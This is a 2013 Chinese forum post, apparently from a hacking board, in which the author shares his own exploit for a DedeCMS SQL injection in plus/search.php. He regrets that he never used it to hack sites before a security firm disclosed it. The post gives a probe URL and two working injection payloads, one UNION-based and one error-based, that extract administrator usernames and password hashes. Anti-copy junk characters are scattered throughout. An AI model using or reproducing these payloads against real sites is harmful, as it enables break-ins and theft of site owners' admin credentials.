转载不加作者名的没JJ# r' @/ e' N. B; S' n
; F, @$ C5 A/ A6 Y9 h" X
哎。没意识，我一个月前就发现了这个漏洞，一直也没去黑站 放那 现在狗卵的什么 知道创宇 发出来了。郁闷。。可惜了我的洞辛苦看了2天的dedecms漏洞就这样没了。' A4 S& n. j* }9 o9 s8 K
8 d5 d8 w2 @# O, b" u既然已经发出来了，我就把我自己搞的exp发下吧。。唉。
, X& M0 o! p* y4 m! W" N% S
z$ u* Y/ z- Z我一般是这样测试的：7 @+ Y8 O0 D2 X/ O' D1 _
# Q. g% V! A# \# M0 c提交 xx.com/plus/search.php?keyword=as&typeArr[ uNion ]=a
[, G& {" @$ w' P- Y# V7 w% j7 K$ m% n n; W
转载不加作者名的没JJ3 |; [0 f7 H, |
! p" }8 w* k8 D) D: g1 f
作者：鬼哥( w$ v: a; c2 g* i
' s; S9 V/ q; {0 T # ?# K( [/ ] y3 ~+ X# ?
. q9 g' ^3 K& ~( @$ X: m看结果如果提示" m1 w# _4 H7 O% |' d2 }! N" r" N
" y! l4 x5 X9 [7 y# l
Safe Alert: Request Error step 2 !4 V/ H8 m$ n6 W3 ~2 F
. k# \; F' W. d& h9 t) k
那么直接用下面的exp) L/ F! |- \2 \7 `
) T j6 o1 A" W( sxx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a+ t5 _" j' o8 E b2 D A7 H8 D
: \ ~) n' r: I. J) }! _
9 A# A& U, [0 c/ ^: q [看结果如果提示* s! {: `5 ^8 t1 T1 r
2 P& F/ R! A; B+ R( ^Safe Alert: Request Error step 1 !( v, i! w7 S# M# T, a
" a [0 H3 g3 n( ^. o那么直接用下面的exp: S* y5 M: K0 l) a/ k$ Q, C- @
6 Y, z6 @ H& A4 m7 x, e3 F6 |
xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a5 P, t/ H5 ~6 s1 G
' j+ [# D$ p% O, B% @% J: p
- f, k2 [/ T9 ]1 U4 q
如果正常显示证明漏洞不存在了。) p7 }& b1 j7 R* M) a
" k5 s* n* X; Q$ X转载不加作者名的没JJ |
发表于 2013-1-21 08:45:22
收藏
支持
反对